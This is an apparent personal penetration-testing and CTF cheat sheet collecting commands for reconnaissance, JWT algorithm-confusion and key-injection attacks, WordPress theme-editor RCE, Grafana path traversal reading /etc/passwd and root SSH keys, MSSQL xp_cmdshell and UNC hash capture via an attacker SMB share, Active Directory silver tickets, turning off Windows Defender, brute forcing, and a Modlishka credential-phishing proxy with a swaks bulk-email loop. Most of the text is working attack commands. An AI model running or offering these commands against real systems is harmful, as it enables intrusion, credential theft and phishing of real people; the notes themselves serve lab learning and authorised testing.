# Welcome Senior Security Engineer, Hacker, Penetration Tester, and Software Engineer. Content Creator on YouTube. Active Player of CTFs on Hack The Box and TryHackMe. **Hi All,** My Name is Ali (Programmerboy), I am creating these Notes on Pentesting, Bug Bounty, Red Teaming, and CTFs on HackTheBox and TryHackme for my learning and the Community. All these Notes are Handwritten by myself and I have Explained Every topic as simple as possible for the understanding of the people. You can Follow and Message me on the below Links, **I would love to hear back from you!!!** {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} # Pentesting Port 80,443 ## Nmap Scan Command ```python # -A means Aggressive Scan # -v means Verbose Output # i normally use this command for initial scan this works best for me nmap -A -v 10.10.10.10 ``` ## Nmap Full Port Scan Command (If you want to Speed Up ) ```python # --min-rate will make the scan faster, you can send any number of packets you want # I run this command more than 2 times to confirm, because it is very fast nmap -A -v -p- --min-rate=10000 10.10.10.10 ``` ## Directory BruteForcing For Directory Bruteforcing my favourite Tool is **FFUF** and **Feroxbuster** ### Feroxbuster Command ```python # this is the command which i use when i use feroxbuster # I Normally Change this command based on the output # i have edited the configuration file to use common.txt wordlist from seclist feroxbuster -u https://www.google.com/ ```

### Feroxbuster POST and GET Fuzzing ```python feroxbuster -u http://www.google.com -m GET,POST ```

### Changing the Conf of Feroxbuster I use **Sublime text** for editing my stuff and for code editing i use **VScode** ```html ┌──(root㉿kali)-[~] └─ subl /etc/feroxbuster/ferox-config.toml ```

I have set the wordlist to Common.txt from seclist

## FFUF Command I use the following command when i use **FFUF** ```python # -u is for url # -w is for wordlist # -c is for colors # i use more flags as well for filtering, but this is my basic command ffuf -u https://www.google.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -c ```

# Pentesting GIT ## Git-Dumper To Download Git data We can use Git-Dumper to download the entire git repository. ``` ``` # FFUF Commands ## FFUF for Dir and Files ```python ffuf -u http://10.10.110.62:8080/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -e php,txt,html ``` ## FFUF for vhost Scanning We can use FFUF to Scan for the Virtual Hosts, i am using **names.txt** from seclists ```python ffuf -u http://inlanefreight.htb -H "HOST: FUZZ.inlanefreight.htb" -w /usr/share/seclists/Discovery/DNS/namelist.txt ``` i have used filtering as well because i was getting 10918 and 0 size on every vhost so i filtered them

## FFUF using BurpSuite Request File if you want to do some fuzzing in a BurpSuite Request, then you can you can add the request in a file and pass the file to FFUF, just like we do with sqlmap ```javascript ffuf -request ffuf-request -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -request-proto http ``` i have used **-fs 781** because i wanted to filter size 781

# Javascript DeObfuscation ## DeObfuscate and UnPack to Read the Full Source Code We can use the following link to deobfuscate the javascript code {% embed url="" %}

But Still I am unable to Understand the Code, because this javascript code is **Packed,** so we need to unpack the code using the following link {% embed url="" %} now i can read the code easily and find the enpoints and see how the request is being made

## Javascript Code DeObfuscate by Running it We can use **developer Console** to actually run the javascript code and we can see what it is doing, we just need to copy the code and then run it in the developer console Below i can see the output of the javascript code in developer console

# Pentesting JWT (JSON Web Tokens) ## Basic JWT Information Using JWT\_TOOL ``` python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ1MzAiLCJpYXQiOjE3Mjk4ODYxNTR9.cCgbU50zeYpH0cUZ9ioFe9eaHqmXp6b2ffkpTJ5-zAg ```

## Cracking JWT-Tokens ### JWT-Cracker to Crack JWT Token ``` jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ1MzAiLCJpYXQiOjE3Mjk4ODYxNTR9.cCgbU50zeYpH0cUZ9ioFe9eaHqmXp6b2ffkpTJ5-zAg -d /usr/share/wordlists/rockyou.txt ```

### Hashcat to Crack JWT Tokens we can use Hashcat on windows and Linux both to crack JWT Token, We just need to provide the hash file and the Wordlist #### For Windows you need to go into Hashcat folder to run this. ``` hashcat.exe C:\Users\username\Desktop\hash-file.txt C:\Users\username\Desktop\Shared\Wordlists\rockyou.txt ``` #### For Linux ``` hashcat ``` ## JWT Auth Bypass via weak Signing key If we are successfully able to crack the secret of the JWT Token then we can modify and sign the JWT token again and craft our attack For this we can use burpsuite extensions like **JSON Web Tokens** and **JWT Editor** Both works well for this If we use **Json Web Tokens**

If we use **JWT EDITOR KEYS** you need to add a new symmetric key and specify the secret and generate the key

then go into the repeater and go into JSON Web Token and click Sign

Click OK and the Send the Request and it will Work. ## JWT Auth Bypass using JWK Header Injection We can also bypass auth by using public and private key concept in JWT Tokens, to do this we can generate a new RSA Key pair, and we can inject the Public key in the Header of the JWT Token, then we can encrypt the JWT Token with Private key so in this case server will always verify the Token and we can sign the token as we want To Perform this attack, we can use **JWT Editor Keys** Extension in BurpSuite 1. Generate a new RSA Key

2. Go to Repeater Tab and go into JSON Web Tokens and the click on Attack and Click on Embed JWK

3. Select the RSA key you created

4. Click OK and the attack is done, now you can Sign the JWT Token. and Perfrom the Attack. ## Algorithm Confusion Attacks in JWT Token ### When Public key is Available on the Web Server (Utilizing JWKS.JSON file) We can start testing for Algorithm Confusion attacks by simply changing the algorithm of the jwt token into HS256 from RS256 The question is that we need to find the public key, otherwise, this attack will never work, and we will not be able to sign our JWT token Looking below at the image we can see that i want to create a webhook and i am having 403 forbidden, so i can try to do an Algorithm Confusion attack to get a 200 OK response.

Current JWT Token does not allow to create a WebHook

Now the Problem here is that we need to get the **Public key**, now we need to find it on the server by doing different directory Bruteforcing tools, I can use here **Feroxbuster.** **Luckily I was able to find the Jwks.json file by doing directory Bruteforcing** ```javascript feroxbuster -u http://webhooks-api-beta.cybermonday.htb/ -W 0,57 ```

Found jwks file on the webserver using feroxbuster

Contents of the Jwks.json file which contains the public key

Now I need to convert this into a proper format and then sign the JWT token and I will change the user role to admin and let's see whether I can access the **/create/webhook** endpoint or not for this purpose, i will be using **Python3** {% code overflow="wrap" %} ```javascript >>> import base64 //import the module >>> from Crypto.PublicKey import RSA //import the module >>> int.from_bytes(base64.b64decode("AQAB"),'big') //get in exponent form >>> e= int.from_bytes(base64.b64decode("AQAB"),'big') // save in e variable >>> n= int.from_bytes(base64.urlsafe_b64decode("pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w=="),'big') //get in exponent form and save in variable n >>> RSA.construct((n,e)) RsaKey(n=21077705076198164110050345996612932810772518568443539050967722091376715840724373912088648727462840166356037836008797866810613752598694921174993091914759002593675145922598909469318911554819111261819241455997350276504601809923734199273292278943649872262588721789631926559440043091439126662856921713786579174831565901935033306650397146382742890508658151492282389201858268597532677527914866223650606412599907677018538379813464063685144477862245532615744296358390508702719361603975980307523385389095548127340792700450704825980888363887958403440479605178094454574416540689804276427673977731782835533403716740628865097430507, e=65537) // make a public key key =RSA.construct((n,e)) // save the public key in key variable print(key.exportKey().decode()) // print the public key ``` {% endcode %}

**I will base64 encode this public key** by saving it into a file ```javascript base64 public-key -w 0 ```

now I can use this public key to sign the JWT Token and then and then I can change the account role in and hopefully I will be able to access the webhook page.

Finally, it worked I am not getting 403 error anymore which means I have successfully done an Algorithm Confusion attack.

Successfully completed the algoritm confusion attack

# Pentesting Graphql ## Introspection Query We can test for introspection query if it is enabled or not by using Burpsuite Extension Called **GRAPHQL.** A Normal GraphQL Request and Response Looks like below

now go to GRAPHQL at the top and then **Right Click > GRAPHQL > SET INTROSPECTION QUERY** and the Query will be auto Generated and we can see introspection enabled.

# Pentesting Redis 6379 Redis is an open-source in-memory storage, used as a distributed, in-memory key–value database, cache and message broker, with optional durability. ## Install Redis Locally Using Docker (Latest Version) ```javascript docker run -p 6379:6379 redis:latest //pull the latest Docker image of redis docker ps //look at the running docker processes docker exec -it sh // run the shell on the container redis-cli // get into the cli of redis on the container ```

# Wordpress Pentesting ## WordPress Structure ```php . ├── index.php ├── license.txt ├── readme.html ├── wp-activate.php ├── wp-admin ├── wp-blog-header.php ├── wp-comments-post.php ├── wp-config.php ├── wp-config-sample.php ├── wp-content ├── wp-cron.php ├── wp-includes ├── wp-links-opml.php ├── wp-load.php ├── wp-login.php ├── wp-mail.php ├── wp-settings.php ├── wp-signup.php ├── wp-trackback.php └── xmlrpc.php ``` ## WordPress User Roles *** There are five types of users in a standard WordPress installation. | Role | Description | | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | Administrator | This user has access to administrative features within the website. This includes adding and deleting users and posts, as well as editing source code. | | Editor | An editor can publish and manage posts, including the posts of other users. | | Author | Authors can publish and manage their own posts. | | Contributor | These users can write and manage their own posts but cannot publish them. | | Subscriber | These are normal users who can browse posts and edit their profiles. | ## WPScan ### Basic Scan ``` wpscan --url http://127.0.0.1 ``` ### Enumerate Plugins using WPScan ```bash wpscan --url http://94.237.49.182:58555/ --enumerate ap ``` ### Enumerate Users using WPScan ```bash wpscan --url http://94.237.49.182:58555/ --enumerate u ``` ### WPScan Aggressive Mode Plugins ```python wpscan --url http://blog.inlanefreight.local -e ap --no-banner --plugins-detection aggressive --plugins-version-detection aggressive --max-threads 60 ``` ### ALL in ONE WPSCAN Command ```python wpscan --url target.com --disable-tls-checks --api-token -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force ``` ### Normal WPSCAN Bruteforce Attack ```python wpscan --url http://example.com --passwords /usr/share/wordlists/rockyou.txt ``` ### ### BruteForce attack using WPScan WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: `admin`, `roger`, and `david`. The tool uses two kinds of login brute force attacks, `xmlrpc` and `wp-login`. The `wp-login` method will attempt to brute force the normal WordPress login page, while the `xmlrpc` method uses the WordPress API to make login attempts through `/xmlrpc.php`. The `xmlrpc` method is preferred as it is faster. ```python wpscan --password-attack xmlrpc -t 20 -U admin, david -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.com ```

## RCE using ThemeEditor we need to login as Administrator on WordPress Portal, then you need to go to theme editor page edit the **404 theme** and add the reverse shell in it

or you can also add the below code as well ```php ```

now save it and visit the below url to access it and execute it ``` http:///wp-content/themes/twentyseventeen/404.php ```

and we have successfull RCE. ## XMLRPC.php It is important to note that `xmlrpc.php` being enabled on a WordPress instance is not a vulnerability. Depending on the methods allowed `xmlrpc.php` can facilitate some enumeration and exploitation activities, though. if we have a username and password for the admin user we can try to get the information utilizing the xmlrpc.php ```bash curl -X POST -d "wp.getUsersBlogsadminCORRECT-PASSWORD" http://blog.inlanefreight.com/xmlrpc.php ``` # Jenkins ## Jenkins Credentials Decryptor if you have the Jenkins configuration files, which contain credentials.xml, config.xml, master.key, and hudson.util.secret. then you can decrypt the password from that using this {% code overflow="wrap" %} ```python ./jenkins-credentials-decryptor -c ./jenkins_configuration/jobs/build/config.xml -m ./jenkins_configuration/secrets/master.key -s ./jenkins_configuration/secrets/hudson.util.Secret ``` {% endcode %}

# Grafana ## Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read {% code overflow="wrap" %} ```python http://10.10.99.76:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` {% endcode %}

### Grafana Conf File ``` /etc/grafana/grafana.ini ```

### Interesting LFI Files {% code fullWidth="false" %} ```python curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/passwd -o passwd curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/grafana/grafana.ini -o grafana.ini curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.ssh/id_rsa curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.bash_history curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.ssh/id_rsa curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.bash_history ``` {% endcode %} ## Grafana2Hashcat We can convert the hashes from graphana to hashcat using this tool Hashes should be in this format HASH,SALT {% embed url="" %} ```python python3 grafana2hashcat.py grafana_hashes.txt -o output-hash.txt ```

# Nmap Commands ## Nmap Scan Top Ports ```python nmap -A -v --top-ports 20 ``` ### Nmap Scan on List of Hosts ``` nmap -A -v -iL Hosts.txt -oN output.txt ``` ## Masscan Massscan full port scan for TCP and UDP Both ```python masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.74 -e tun0 ``` ## Rustscan with Nmap (Fast Port Scanning) This command Finds out Open Ports Quicky, then Passes the ports to Nmap with -A Flag to do Aggressive Scan ```python rustscan -a 10.10.68.208 -- -A # Single IP rustscan -a 192.168.1.1,192.168.1.2,192.168.1.3 -- -A # Multiple IPs ```

## Get IP, MAC && Vendor Name ```python nmap -sn 172.26.10.0/24 | grep -E "Nmap scan report|MAC Address" | awk '/Nmap scan report/ {ip=$5} /MAC Address/ {print ip, $3, $4, $5}' ```

## Get Only IP IPaddress ```python nmap -sn 172.26.10.0/24 | grep "Nmap scan report" | awk '{print $5}' ```

## Port Scan Script On all Ips ```python while read ip; do echo "Port scan for $ip:" >> port_scan_results.txt nmap -A $ip >> port_scan_results.txt echo "------------------------" >> port_scan_results.txt done < ips.txt ``` # 53 - Pentesting DNS ## DNS Zone Transfer Online We can use the following website to do DNS Zone Transfer {% embed url="" %} We can get a lot of interesting information doing Zone Transfer below we can see that i did a zone transfer **zonetransfer.me**

## Zone Transfer using NSLookup We can use nslookup as well to do zone transfer Manually ```javascript nslookup -type=NS zonetransfer.me // Nameservers nslookup -type=any -query=AXFR zonetransfer.me nsztm1.digi.ninja //any and axfr ``` Sometimes you might not get anything using zone transfer so you need to check that wether the IP address is actually the DNS for Domain or not, by using Below command ```python nslookup -type=ns inlanefreight.htb 10.129.121.23 ```

## Zone Transfer using DIG ```python dig dig @ #Example dig inlanefreight.htb dig axfr inlanefreight.htb @10.129.121.23 ```

## DNScan We can use dnscan to find out some more valuable information like subdomains, DNScan comes with its own wordlists which we can use 1. -d -------> Domain 2. -w ------> wordlist

# 88 - Pentesting Kerberos ## Kerbrute To enumerate and Find Valid Usernames we can use Kerbrute {% code overflow="wrap" %} ````python ``` ## kerbrute enumusers command kerbrute userenum -d --dc

# make sure you use different wordlists kerbrute userenum -d -dc-ip

EXAPMLE: kerbrute userenum -d scrm.local --dc scrm.local /usr/share/wordlists/kerberos_enum_userlists/A-ZSurnames.txt kerbrute userenum -d baby.vl --dc baby.vl users.txt ```` {% endcode %} # 111 - Pentesting RPC ## Change the Password of Domain User We can change the password of the domain user if we have privielges to do so using rpcclient ``` rpcclient -U 'Domain\username' # To change the password setuserinfo 23 ``` # 389 - Pentesting LDAP ## Base Naming Context You need to find the base naming context using the below command ```python ldapsearch -H ldap://10.10.11.168 -x -s base namingcontexts ``` ### After Getting Base naming Context

ldapsearch -H ldap://10.10.11.168 -x -b "DC=scrm,DC=local" 

or

ldapsearch -H ldap://10.10.11.168 -x -s sub -b "DC=scrm,DC=local"

or

ldapsearch -H ldap://10.10.11.168 -x -s base -b "DC=scrm,DC=local" 

# now you will get a lot of information to where you can find usernames and other information as well
#try to do grepping on it as well (grep -i pwd, svc,user,password,)like this

## Getting SamAccount name from LdapSearch {% code overflow="wrap" %} ```python ldapsearch -H ldap://10.10.87.0 -x -b "DC=baby,DC=vl" | grep -i samaccountname | awk -F ': ' '{print $2}' ``` {% endcode %} ## Getting Description from LdapSearch {% code overflow="wrap" %} ```python ldapsearch -H ldap://10.10.87.0 -x -b "DC=baby,DC=vl" | grep description ``` {% endcode %} # 445 - Pentesting SMB ## NetExec netexec is the latest tool which can be used to enumerate SMB protocol ### Banner Grabbing of IPs using netexec make a list of ips in a file and then used the below command ```python netexec smb ips.txt ``` ### Password Spraying using netexec this will try to list all the shares ``` netexec smb ips.txt -u users.txt -p passwords.txt ``` ### Netexec to see shares we can see shares as well using netexec ```python netexec smb ips.txt -u users.txt -p passwords.txt --shares ``` ## SMBClient ### List Shares using SMBClient We can use smbclient to list the shares and login to the shares as well ```python smbclient -N -L //10.10.11.236 ``` ### List Shares with User and Pass when we have a username and password we can try this ```python smbclient -L \\\\10.0.9.158\\ -U noc Password for [WORKGROUP\noc]: ```

### Download files using SMBClient Login to SMB ```python smbclient \\\\10.0.9.158\\IPC$ -U noc ```

now use the following commands and it will recursively download all the files in your kali linux ```python smb: \> recurse ON smb: \> prompt OFF smb: \> mget * #after this you can find any file using the find command find . -type f ``` ## SMBMAP ### List Shares using SMBMAP ``` smbmap -H 10.0.9.158 -u username -p password ```

### Directory Structure Listing of a Share Recursively ``` smbmap -H 10.0.9.158 -u username -p 'password' -r IPC$ ```

### Download files from Shares using SMBMAP ```python smbmap -H 10.0.9.158 -u username -p 'password' -r IPC$ -A eventlog ```

## STATUS\_PASSWORD\_MUST\_CHANGE if you see status password must change, then you can change the password of that user using **impacket-smbpasswd** ``` impacket-smbpasswd baby.vl/Caroline.Robinson@10.10.88.65 -newpass 'Test1234!' ```

# 873 - Pentesting Rsync rsync is a protocol which is used to sync and transfer files. ## Rsync We can use rsync to see the files and folders which we can sync ```python rsync --list-only -av rsync://10.10.65.244/ # List the Shared Folders #after we see the files and folders, we can download those rsync -av rsync://10.10.65.244/backups ./backups # Download the Shared Folders ``` # 1433 - Pentesting MSSQL ## Authentication with Creds ``` impacket-mssqlclient klendathu.vl/zim:football22@10.10.179.150 -windows-auth ``` ## RCE in MSSQL ### xp\_cmdshell First We can try to enable xp\_cmdshell and then run commands easily ```python enable_xp_cmdshell # this enables xp_cmdshell xp_cmdshell whoami # whoami command works ``` ### UNC Path Injection (xp\_dirtree) we can use xp\_dirtree to authenticate to our own smb share, in this case we will be able to get the hash of the sql server user and then we can either relay the hash or crack the hash ```python # On MSSQL Server xp_dirtree //10.10.8.85/doesnotexists # OR exec master.sys.xp_dirtree '\\10.10.8.85\doesnotexists',1,1 # On kali Linux sudo responder -I tun0 # you should get a hash on your responder ``` ### xp\_fileexist && sys.dm\_os\_file\_exists we can use file excist as well, and sys.dm\_os\_file\_exists to. In SQL Server 2017 xp\_fileexist was replaced by a dynamic funtion called sys.dm\_os\_file\_exists ```python xp_fileexist 'C:\' # Change this exec master.dbo.xp_fileExist 'adsnt.dll' # To this SELECT * FROM sys.dm_os_file_exists ('adsnt.dll') ``` # 2049 - Pentesting NFS ## Showmount (to show the mounts) ```python showmount -e 10.10.179.151 ```

## Mounting Remote Directories ```python sudo mount -t nfs 10.10.179.151:/mnt/nfs_shares mnt -o nolock ```

# 3389 Pentesting RDP ## Xfreerdp Command ```python xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:$(pwd),share ```

## Login UI Enumeration We can try to see the login page of the RDP to do some enumeration, this can be done by disabling Network Level Authentication This approach bypasses the pre-authentication security layer that NLA normally provides. When NLA is disabled: * The remote server will display the login GUI without requiring upfront authentication ```python xfreerdp /v:10.10.73.33 -sec-nla ```

# 3306 - Pentesting Mysql ## Basic Command ``` mysql -h 172.18.0.1 -u root ``` ### SSL is Required you can ignore ssl checks by using the below command ```python mysql -h 172.18.0.1 -u root --skip-ssl ``` # 5000 - Pentesting Docker Registry ## Looking for Repositories If you have found the **docker registry** always look at the following endpoints to **see the repositories** ```javascript /v2/ /v2/_catalog ----> {"repositories":[""]} ``` # Methodology This Page shows the Complete methodology for Active Directory Pentesting ## Enumerating AD Environment ### Listing Shares on Windows

## view the shares
net view \\Computername.abc.corp  

## List the Shares
dir \\computer-name.abc.corp

### Impacket-SmbServer to Host Files We can use impacket-smbserver to host files as well and Run files from this share as well.

impacket-smbserver -smb2support -user test -password test share $(pwd)

### without password
impacket-smbserver -smb2support share $(pwd)

then on Target windows machine, we need to connect to this share and run our tools. ``` net use \\IP_add_of_kali\share ``` ### Turn AV off ``` # Run in CMD "C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all ### In PowerShell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true ``` ## PowerView Enumerating Basic Stuff #### Enumerate AD Users Only Get-DomainUser command will print very Long info so you can use below command to filter just the usernames ``` Get-DomainUser | select -ExpandProperty samaccountname ``` #### Enumerating AD Computers This command will get all of the computer names in the Domain. ``` Get-DomainComputer | select -ExpandProperty dnshostname ``` #### Enumerating Domain Admins Group ``` Get-DomainGroup -Identity "Domain Admins" ``` #### Enumerating Domain Admins Group Members ``` Get-DomainGroupMember -Identity "Domain Admins" ``` #### Enumerating Enterprise Admins Group Members ```python Get-DomainGroupMember -Identity "Enterprise Admins" #We need to query the root domain as Enterprise Admins group is present only in the root of a forest. Get-DomainGroupMember -Identity "Enterprise Admins" -Domain moneycorp.local ``` ### PowerView Enumerating Advanced #### Enumerating ACL's ```python Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "USERNAME HERE"} Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "GROUP NAME HERE"} ``` #### Enumerating Organizational Unit (OU) ```python Get-DomainOU | select -ExpandProperty name #Now, to list all the computers in the DevOps OU: (Get-DomainOU -Identity DevOps).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name ``` ## Tools and Commands ### Powerup.ps1 To Invoke any abuse function with your own username you can use below command. ``` Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'DOMAIN\USERNAME' -Verbose ``` ### Bloodhound-python We can use bloodhound to enumerate the domain if we have a valid set of credentials, we can use bloodhound.py kali linux script to do some enumeration ```python bloodhound-python --dns-tcp -ns 10.10.179.143 -d klendathu.vl -u 'zim' -p 'football22' -c all ``` ### Rubeus Commands. ```python # Request a TGT and Inject In Memory Rubeus.exe asktgt /user:Username /rc4:HASH /domain:abc.local /ptt ## if you have password Rubeus.exe asktgt /user:Username /password:password /domain:abc.local /ptt ``` ### Runas Command ``` runas /user:domain\username "C:\Windows\System32\cmd.exe" ``` ### PS-Session and Cred Object ``` $SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword) enter-pssession -computer abc.corp.local -credential $c ``` ## Silver Ticket Attack In a silver ticket attack, the attacker can forge a valid TGS (Ticket granting Service) and then attacker can access that service using that TGS. For this attack we need the NTLM hash of the service account user. for this we can use online tools, or below python code ```python # Below code will give NTLM Hash of test1234 import hashlib,binascii hash = hashlib.new('md4', "test1234".encode('utf-16le')).digest(); print(binascii.hexlify(hash)); ``` For Domain SID we can use ```python # Below command will print the Domain SID impacket-lookupsid domain/username:password@10.10.231.85 ``` now we have both NTLM hash and the Domain SID so we can craft the Silver Ticket Attack, for this i like to use **Impacket-ticketer**

impacket-ticketer -spn MSSQLSvc/srv1.klendathu.vl -domain klendathu.vl -domain-sid S-1-5-21-641890747-1618203462-755025521 -nthash E2F156A20FA3AC2B16768F8ADD53D72C administrator

this will create a administrator.ccache file ```python #export the ticker export KRB5CCNAME=administrator.ccache # then use this ticket to access any service like MSSQL impacket-mssqlclient -k -no-pass #e.g impacket-mssqlclient -k -no-pass SRV1.Klendathu.vl ``` # Phishing using Modlishka ## Installation ```python wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64 chmod +x Modlishka-linux-amd64 ./Modlishka-linux-amd64 -h ```

## Usage Modlishka need a conf file for its usage. it also requires certificate and private key for successfull attack. ```json { //This Domain will the one, which will be visited by the victim (Fake Domain) "proxyDomain": "programmer-security.com", "listeningAddress": "0.0.0.0", //This will be the real domain which is legitimate. (Real Domain) "target": "programmersecurity.com", "targetResources": "", "targetRules": "", "terminateTriggers": "", "terminateRedirectUrl": "", "trackingCookie": "id", "trackingParam": "id", "jsRules":"", "forceHTTPS": false, "forceHTTP": false, "dynamicMode": false, "debug": true, "logPostOnly": false, "disableSecurity": false, "log": "requests.log", // all logs will be in this file "plugins": "all", "cert": "", //your certificate here "certKey": "", // your private key here "certPool": "" } ``` ## Attacking in a Lab Environment. In a lab environment, you can somehow modify the DNS record of the environment to point any random domain, like \`**test.programmersecurity.com**,\` to your local IP address. So when a victim visits test.programmersecurity.com, he will be pointing towards your IP. Now, here we will use modlishka, so that when a user visits test.programmersecurity.com, they should see the contents of programmersecurity.com. So in this case, Modlishka works as a reverse proxy. When the victim's traffic hits your IP on port 443 (HTTPS) or 80 (HTTP), Modlishka intercepts it. Instead of hosting a fake static HTML page, Modlishka acts as a dynamic bridge: * It establishes a connection to the real backend server (`programmersecurity.com`). * It pulls the legitimate login pages, assets, and scripts in real-time. * It serves this authentic content back to the victim. ### Generating Certificates We can generate legitimate ssl certificate as well. ``` openssl genrsa -out test.programmersecurity.com.key 2048 openssl req -new -key test.programmersecurity.com.key -out test.programmersecurity.com.csr -utf8 -batch -subj '/CN=test.programmersecurity.com' ``` ### Using awk The commands below will help you to paste Cert and private key easily in your Modlishka conf file. ``` awk -v ORS='\\n' '1' test.programmersecurity.com.crt awk -v ORS='\\n' '1' test.programmersecurity.com.key ``` ### Config file ``` { "proxyDomain": "test.programmersecurity.com", "listeningAddress": "0.0.0.0", "target": "https://login.programmersecurity.com", "targetResources": "", "targetRules": "", "terminateTriggers": "", "terminateRedirectUrl": "", "trackingCookie": "id", "trackingParam": "id", "jsRules": "", "forceHTTPS": false, "forceHTTP": false, "dynamicMode": false, "debug": true, "logPostOnly": false, "disableSecurity": true, "log": "requests.log", "plugins": "all", "cert": "-----BEGIN CERTIFICATE-----\n[SINGLE_LINE_CRT]\n-----END CERTIFICATE-----\n", "certKey": "-----BEGIN PRIVATE KEY-----\n[SINGLE_LINE_KEY]\n-----END PRIVATE KEY-----\n", "certPool": "" } ``` ### Run Modlishka you can create your own json config file. ``` ./modlishka -config programmersecurity_proxy.json ```

### Send emails using swaks ```python while read address; do swaks -t $address -from 'robert@programmersecurity.com' -body "hey https://test.programmersecurity.com" -header "Subject: lol" -server 10.10.10.10; done < emails.txt ``` # Hydra ## Hydra Supported Services ```bash hydra -h | grep "Supported services" | tr ":" "\n" | tr " " "\n" | column -e ```

## HTTP AUTH Bruteforce We can use hydra to pass it colon seperated wordlist with default credentials and we can try to do a bruteforce attack on the http login, i will use the wordlist from seclists which containes the **default credentials by colon seperation** ```python hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt http-get://94.237.53.3:40213/ ```

## Hydra POST Form BruteForce Attack If you have a login page and you need to bruteforce the creds for that, one way is you can use the burpsuite Intruder, the Second thing which we can use is Hydra Post Form as well there are 3 things we need to add after http-post-form, -s is for port 1. Login Endpoint 2. Parameters 3. Fail or success msg OR Something from Page Source ```bash hydra -l admin -P /usr/share/wordlists/rockyou.txt 94.237.63.83 -s 51867 http-post-form "/login.php:username=^USER^&password=^PASS^:

## Hydra on RDP Port 3389 ```python hydra -L users.txt -P passwords.txt rdp://127.0.0.1 ``` ### Hydra on RDP with Multipe IPs ``` hydra -L users.txt -P passwords.txt -M IPs.txt rdp ``` # Cewl We can use CEWL to create keywords from the website, sometimes these keywords can be found out to be the password ## Generating Keywords using CEWL ```python cewl -m5 --lowercase -w wordlist.txt http://192.168.10.10 ``` # Making Custom Wordlists (Usernames) ## Username Anarchy (Tool) We can clone this and create a custom wordlist

## NameMash We can use this script to generate some good usernames {% embed url="" %}

# JSON to txt Wordlist We can Convert JSON wordlist to text File which can be passed to Gobuster or FFUF using the below command ## JSON to TXT Wordlist ``` jq '.[0:10000]' names.json | grep ","| cut -d '"' -f 2 > names.txt ``` # Getting a Fully Interactive TTY Shell ## Method 1: Python TTY Module ```javascript python3 -c 'import pty;pty.spawn("/bin/bash")' //Now press CTRL+Z to send the shell in the background stty -a // get the rows and columns from the first line stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in // run the below commands on the compromised machine stty rows 26 cols 118 // based on the output of stty -a export TERM=xterm export TERM=xterm-256color // for colors exec /bin/bash //I always do this, that's my methodology // now you should have a full stable shell ```

## Method 2: Using Script Binary (If it is installed on Target System) ```javascript which script //confirm if script is installed or not script /dev/null -c bash // Now press CTRL+Z to send the shell in the background stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in export TERM=xterm // Now you have a good TTY shell ```

## pwncat-cs (Automated Way) Best One We can use pwncat listener to get a fully TTY shell automtically ```python pwncat-cs --listen -p 4444 ```

it has file upload and download feature as well, you need to Press CTRL+D to go to your Local machine and then upload and download files from the target machine to the local machine. ## Penelope Listener (Automated Way) We can use penelope instead of netcat to get an interactive reverse shell, this automatically upgrades our shell to fully tty ```python penelope 443 # Start a listener on port 443 ```

